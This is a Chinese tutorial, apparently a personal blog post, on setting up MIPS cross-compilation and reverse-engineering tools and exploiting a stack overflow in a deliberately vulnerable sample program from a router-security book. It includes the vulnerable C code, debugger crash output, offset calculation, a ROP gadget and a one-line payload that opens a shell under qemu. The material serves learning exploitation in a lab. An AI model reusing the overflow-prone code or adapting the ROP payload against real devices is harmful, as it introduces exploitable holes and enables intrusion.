mips编译环境配置与简单栈溢出

环境编译

首先就是搭一下编译环境,(==最好选16的ubuntu==,我曾经觉得18的Ubuntu长得好看,然后在上面搭了一天的环境之后发现,并不能动态调试,然后重新在16里又再搭了一天)

buildroot

下载:buildroot

解压之后,configs里面有一个qemu_mips32r2el_malta_defconfig这样的配置,可以进去找找看有没有,我们回到主目录,直接make qemu_mips32r2el_malta_defconfig

1
2
coyote@ubuntu:~/buildroot-2020.02.1$ make qemu_mips32r2el_malta_defconfig
coyote@ubuntu:~/buildroot-2020.02.1$ make

make qemu…那个命令就是配置相对应的环境,就不用手动make menuconfig 去设置了。

进入menuconfig界面之后选择第一项Target Architecture,改成MIPS(little endian)(默认编译小端程序),另外,选择Toolchain,将Kernel Headers的Linux版本改成自己主机的Linux版本(因为我们编译出的MIPS交叉工具是需要在我们的主机上运行的)

之后make就好了(过程可能会很漫长,耐心等吧
编译完成之后,在buildroot/output/host/bin
下就有mipsel-linux-gcc了,我们就可以通过它编译了

1
~/buildroot-2020.02.1/output/host/bin/mipsel-linux-gcc test.c -o test -static

不过这样还是有点麻烦,所以我们可以直接配置环境变量

1
2
3
gedit ~/.bashrc
export PATH=$PATH:/home/coyote/buildroot-2020.02.1/output/host/usr/bin #写入文件
source ~/.bashrc

然后我们就可以直接通过命令编译,不用带上路径了

1
mipsel-linux-gcc test.c -o test -static

IDA mipsrop

下载 mipsrop.py

直接放到plugins下,然后重启就可以在ida的search里面找到mips rop gadgets

点击这个之后,可以在idapython框里面输入mipsrop的命令,主要如下

1
2
3
4
mipsrop.stackfinder() # 寻找栈数据可控的 rop,建立和 a0、a1 寄存器的关系
mipsrop.summary() # 列出所有的可用 rop
mipsrop.system() # 寻找命令执行的的rop
mipsrop.find(xxx) # 查找 find 函数参数的 rop,类似正则匹配

mips反编译

这真是个令人头秃的东西

mips反编译有三个:

retdec
ghidra
jeb-mips

ida retdec 插件

retdec-idaplugin:https://github.com/avast/retdec-idaplugin/releases
retdec:https://github.com/avast/retdec/releases

步骤:

  • 把idaplugin里面的两个dll放到ida下面的plugins里面
  • 打开ida,在options下面找到 RetDec Plugin Setting...
  • 点击去,把下载好的retdec文件下的retdec-decompiler.py(在bin里面)的地址链入RetDec script里面
  • Edit->plugins->retargetable decompiler就可以实现反编译出c了(快捷键好像是ctrl+d,不过因机而定的)

这个反编译出来的代码真的好丑啊!不知道是不是我的问题,它真的就是c文件,只能从上往下看。

还不如直接python /path/to/retdec-decompiler.py test 编译出c文件之后在vs里面看,至少还有代码高亮。

如果有大佬的retdec可以反编译得很方便的话就教教我吧!

jeb-mips

由于实在忍不了retdec的简略,就尝试了jeb-mips

jeb-mips:https://www.pnfsoftware.com/jeb/demomips

解压之后windows下就直接点jeb_wincon.bat运行(不过不知道是不是我电脑的问题还是java版本的问题,点开之后运行个一分钟就会自动退出)
大佬的Mac是可以运行的,我的win挣扎了一个下午也没解决这个问题,最后安在了linux下

Ghidra

我不是很熟jeb的操作,data变code我都很迷茫,右键disassemble好像没有作用(这个可能是我的问题,和软件无关)所以我又去找了ghidra下载

ghidra(要梯子):https://ghidra-sre.org/ghidra_9.0.4_PUBLIC_20190516.zip

解压之后直接点ghidraRun.bat运行,好像是会新建一个工程,然后在file->import file选择你想反编译的文件导入工程,文件就会显示在窗口里,如图

双击文件名就可以打开了

效果如图:

双击汇编就可以解析成伪c(感觉上代码好冗杂,看起来可能比较费时间),但是它选中汇编代码右键会有很多不同的disassemble模式,比如MIPS、MIPS16el、static等等

mips的指令集特点

主要的两个概念

  • 叶子函数:当前函数不再调用其他函数。
  • 非叶子函数:当前函数调用其他函数。

指令特点:

  • 固定4字节指令长度。
  • MIPS默认不把子函数的返回地址存放到栈中,而是存放到$ra寄存器中。
  • 流水线效应。MIPS采用了高度的流水线,最重要的两个效应就是分支延迟效应和载入延迟效应。
  • 没有堆栈直接操作的指令,也就是没有 push 和 pop 指令

具体可以参考:

mips的溢出

rop链

用了全网都在用的那个例子,也是《揭秘家用路由器0day漏洞挖掘技术》里面的例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>

void do_system_0(int code,char *cmd)
{
char buf[255];
//sleep(1);
system(cmd);
}

void main()
{
char buf[256]={0};
char ch;
int count = 0;
unsigned int fileLen = 0;
struct stat fileData;
FILE *fp;

if(0 == stat("passwd",&fileData))
fileLen = fileData.st_size;
else
return 1;

if((fp = fopen("passwd","rb")) == NULL)
{
printf("Cannot open file passwd!n");
exit(1);
}


ch=fgetc(fp);
while(count <= fileLen)
{
buf[count++] = ch;
ch = fgetc(fp);
}
buf[--count] = 'x00';

if(!strcmp(buf,"adminpwd"))
{
do_system_0(count,"ls -l");
}
else
{
printf("you have an invalid password!n");
}
fclose(fp);
}

编译完之后,丢进ida看看程序是干什么的

会发现程序读入了一个passwd文件,然后passwd不对就会输出”you have an invalid password!n”

我们要利用溢出来绕过这个

所以我们先往passwd里面填充大量字符

1
coyote@ubuntu:~/mips_test$ python -c "print 'a'*0x200" > passwd

起qemu,然后gdb连接

1
2
3
4
5
6
7
8
9
#terminal 1
coyote@ubuntu:~/mips_test$ qemu-mipsel -g 1234 ./test #-g是开放远程连接,gdb调试,1234是开放的端口

#terminal 2
coyote@ubuntu:~/mips_test$ gdb-multiarch ./test
pwndbg> target remote :1234 attach
# 如果第一次远程调的话,先
# pwndbg>set arch mips
# pwndbg>set endian little

gdb的调试分析过程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
pwndbg> target remote :1234 attach
pwndbg> c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x61616161 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────[ REGISTERS ]──────────────────────────────────
V0 0x0
V1 0x1
A0 0x1
A1 0x1
A2 0x4b
A3 0x39
T0 0x0
T1 0x2a7f6573
T2 0xffffffff
T3 0x64726f77 ('word')
T4 0x0
T5 0x0
T6 0x0
T7 0x0
T8 0x1e
T9 0x40479c (__pthread_return_0) ◂— jr $ra
S0 0x0
S1 0x410000 (__preinit_array_start) ◂— 0xffffffff
S2 0x0
S3 0x0
S4 0x0
S5 0x0
S6 0x0
S7 0x0
S8 0x61616161 ('aaaa')
FP 0x76ffec48 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n0'
SP 0x76ffec48 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n0'
PC 0x61616161 ('aaaa')
───────────────────────────────────[ DISASM ]───────────────────────────────────
Invalid address 0x61616161










───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ fp sp 0x76ffec48 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n0'
...
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
► f 0 61616161
────────────────────────────────────────────────────────────────────────────────

通过这里可以看到跳转地址被改为了0x61616161,而存放这个内容的地址是0x76ffec48,所以计算从开始读入passwd文件的位置到跳转地址的字符偏移。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
pwndbg> x/40gx 0x76ffea00
0x76ffea00: 0x00402744004105f4 0x0000000076ffea7c
0x76ffea10: 0x0000000000000000 0x004011e0004181e0
0x76ffea20: 0x004105f800413c80 0x0000000000000002
0x76ffea30: 0x0000000000413c80 0x0000000000000000
0x76ffea40: 0x00400a3476ffea78 0x00400ac000000000
0x76ffea50: 0x00000000000001b6 0x00000000004181e0
0x76ffea60: 0x0041000000000000 0x0000000000000000
0x76ffea70: 0x004006a000000000 0x0040e76a00000000
0x76ffea80: 0x0000000000001000 0x00000000004181e0
0x76ffea90: 0x00000201000000ff 0x0041490800000201
0x76ffeaa0: 0x0041490800414908 0x6161616161616161
0x76ffeab0: 0x6161616161616161 0x6161616161616161
0x76ffeac0: 0x6161616161616161 0x6161616161616161
0x76ffead0: 0x6161616161616161 0x6161616161616161
0x76ffeae0: 0x6161616161616161 0x6161616161616161
0x76ffeaf0: 0x6161616161616161 0x6161616161616161
0x76ffeb00: 0x6161616161616161 0x6161616161616161
0x76ffeb10: 0x6161616161616161 0x6161616161616161
0x76ffeb20: 0x6161616161616161 0x6161616161616161
0x76ffeb30: 0x6161616161616161 0x6161616161616161
pwndbg> distance 0x76ffeaa8 0x76ffec48
0x76ffeaa8->0x76ffec48 is 0x1a0 bytes (0x68 words)

所以我们要填充'a'*0x19c使得跳转地址没有被覆盖

ida里通过mips rop找到可用的rop

1
2
3
4
5
6
7
Python>mipsrop.stackfinder()
----------------------------------------------------------------------------------------------------------------
| Address | Action | Control Jump |
----------------------------------------------------------------------------------------------------------------
| 0x004034A0 | addiu $a1,$sp,0x58+var_40 | jr 0x58+var_4($sp) |
----------------------------------------------------------------------------------------------------------------
Found 1 matching gadgets

addiu $a1,$sp,0x58+var_40 –> sp+0x18的位置放入参数(即’/bin/sh’)

0x58+var_40 = 0x58-0x40 = 0x18

jr 0x58+var_4($sp) –> 跳转执行sp+0x54位置的函数

0x58+var_4($sp) = 0x58 - 0x4 = 0x54

1
2
3
4
pwndbg> p/x $sp+24
$2 = 0x76ffec60
pwndbg> distance 0x76ffec60 0x76ffeaa8
0x76ffec60->0x76ffeaa8 is -0x1b8 bytes (-0x6e words)

思路:

其实之前的那个跳转地址就是我们的sp,所以我们再填充0x18个字节之后填入'/bin/sh/x00'作为system的参数,然后再填0x34个字节后,填入do_system的地址

exp:

1
2
3
4
coyote@ubuntu:~/mips_test$ python -c "print 'a'*0x19c + '\xa0\x34\x40\x00' + 0x18*'b' + '/bin/sh\x00' + 'c'*0x34 + '\x70\x03\x40\x00'" > passwd
coyote@ubuntu:~/mips_test$ qemu-mipsel ./test
$ ls
passwd test test_1 test.c

参考链接:

书目推荐:

  • 《揭秘家用路由器0day漏洞挖掘技术》
    pdf版